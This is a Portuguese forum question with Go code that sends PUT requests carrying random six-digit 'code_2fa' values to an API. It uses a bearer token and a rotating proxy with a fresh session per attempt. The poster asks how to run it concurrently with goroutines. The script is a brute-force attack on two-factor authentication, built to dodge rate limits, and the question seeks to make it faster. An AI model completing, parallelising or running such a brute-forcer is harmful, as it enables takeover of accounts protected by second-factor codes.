Boa tarde.
Eu possuo este codigo:
package main
import(
"fmt"
"net/http"
"bytes"
"io/ioutil"
urlU "net/url"
"strconv"
"math/rand"
"strings"
)
func random(min, max int) int {
return rand.Intn(max - min) + min
}
var (
err2 error
body []byte
)
type requestResponse struct {
err error
body string
}
type requestOptions struct {
url string
method string
body string
headers map[string]string
}
func (options *requestOptions) doRequest() requestResponse {
for i := 0; i < 10; i++ {
transport := &http.Transport{}
proxyParse, _ := urlU.Parse("http://lum-customer-hl_5e2e538e-zone-static-session-" + strconv.Itoa(rand.Intn(9999999)) + ":[email protected]:22225")
transport = &http.Transport{Proxy: http.ProxyURL(proxyParse)}
client := &http.Client{Transport: transport}
request, err := http.NewRequest(options.method, options.url, bytes.NewBuffer([]byte(options.body)))
if err != nil { continue }
request.Close = true
for headerField, headerValue := range options.headers {
request.Header.Add(headerField, headerValue)
}
response, err := client.Do(request)
if err != nil { continue }
defer response.Body.Close()
body, err2 = ioutil.ReadAll(response.Body)
if err != nil { continue }
if strings.Contains(string(body), "") {continue}
break
}
return requestResponse{err: nil, body: string(body)}
}
func main() {
for i := 0; i < 5; i ++ {
myrand := random(000000, 999999)
disparar(myrand)
}
}
func disparar(myrand int){
options := &requestOptions{
url: "https://api...",
method: "PUT",
body: fmt.Sprintf(`{"code_2fa":"%s"}`,myrand),
headers: map[string]string{
"Authorization" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkNWFmMjI4MTg0NzU5MDAxODdjZWJkZSIsInR5cGVMb2dpbiI6InVzZXIiLCJpc0FkbWluIjpmYWxzZSwiaWF0IjoxNTY5MzQwNzQxLCJleHAiOjE1NjkzNDE2NDF9.TgUcTTeh4cZIqmndRoBuULlPS0AiPExicXq0gTci_ac"},
}
retorno := options.doRequest()
fmt.Println(myrand,retorno.body)
}
Estou tentando utilizar goroutines afim de agilizar o processo do script.
Quando eu adiciono go
na linha disparar(myrand)
, a função passa a não retorna nenhum o valor no console.
func main() {
for i := 0; i < 5; i ++ {
myrand := random(000000, 999999)
go disparar(myrand)
}
}
Como posso disparar essas requests de modo assíncrono utilizando goroutines ?